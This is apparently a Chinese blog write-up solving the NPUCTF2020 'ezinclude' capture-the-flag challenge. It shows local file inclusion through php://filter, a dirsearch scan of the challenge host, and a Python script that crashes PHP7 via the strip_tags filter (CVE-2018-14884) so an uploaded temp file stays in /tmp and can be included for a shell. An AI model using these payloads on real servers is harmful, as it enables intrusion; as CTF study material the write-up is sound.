• [NPUCTF2020]ezinclude


    在这里插入图片描述
    抓包
    在这里插入图片描述
    发现cookie里有hash值,返回包中给出了判定条件
    加入get参数name(设置为空)和pass(设置为默认的hash值)即可
    在这里插入图片描述
    得到提示flflflflag.php
    访问该页面
    在这里插入图片描述
    在burp中观察返回包
    在这里插入图片描述
    有include函数,考虑文件包含漏洞
    使用伪协议查看flflflflag.php源码:/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

    
    $file=$_GET['file'];
    if(preg_match('/data|input|zip/is',$file)){
    	die('nonono');
    }
    @include($file);
    echo 'include($_GET["file"])';
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    简单的对file做了过滤
    这里暂时没有思路了
    参考:[NPUCTF2020]ezinclude
    使用dirmap的字典,用dirsearch进行过滤式的扫描扫描出dir.php文件:python3 dirsearch.py -u http://2954774a-ad6b-47c5-9fca-41ce8ab27ecb.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt

    扫描目录有发现
    在这里插入图片描述
    读取该文件。方法同上:/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php
    得到dir.php的内容

    
    var_dump(scandir('/tmp'));
    ?>
    
    • 1
    • 2
    • 3

    dir.php会输出/tmp目录下的信息,所以可以想办法把木马文件搞到/tmp目录下

    方法:

    利用php7 segment fault特性(CVE-2018-14884) php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php的垃圾回收机制就不会在继续执行 , 导致 POST的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

    使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp
    file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

    该方法仅适用于以下php7版本,php5并不存在该崩溃。

    利用条件:
    php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
    php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
    php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
    可以获取文件名

    参考:[NPUCTF2020]ezinclude(PHP临时文件包含)

    漏洞利用的参数: ?file=php://filter/string.strip_tags/resource=/etc/passwd

    脚本:

    import requests
    from io import BytesIO #BytesIO实现了在内存中读写bytes
    payload = ""
    data={
        'file': BytesIO(payload.encode())
    }
    
    url="http://2954774a-ad6b-47c5-9fca-41ce8ab27ecb.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
    
    
    r=requests.post(url=url,files=data,allow_redirects=False)
    print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述
    返回这种说明成功让PHP崩溃了

    访问dir.php,得到/tmp目录下的文件名
    在这里插入图片描述
    利用flflflflag.php的文件包含来访问这个文件
    在这里插入图片描述
    在phpinfo中找到flag
    也可以直接在脚本中写入

    另一种方法参考这位佬的:[NPUCTF2020]ezinclude

  • 相关阅读:
    百花齐放的国产数据库,献礼国庆节
    硬件知识:DDR3、DDR4和DDR5内存条有啥区别,看完你就懂
    基于springboot的社区问答系统的设计与实现
    MAC M1安装docker并拉取mysql镜像
    微信个人号api
    Linux入门与进阶(二)
    磁盘格式化指南:如何正确对磁盘进行分区和初始化?
    BUUCTF 不一样的flag 1
    MyBatis实现多层级collection嵌套查询
    线程池源码解析 2.工作原理与内部结构
  • 原文地址:https://blog.csdn.net/pakho_C/article/details/126887708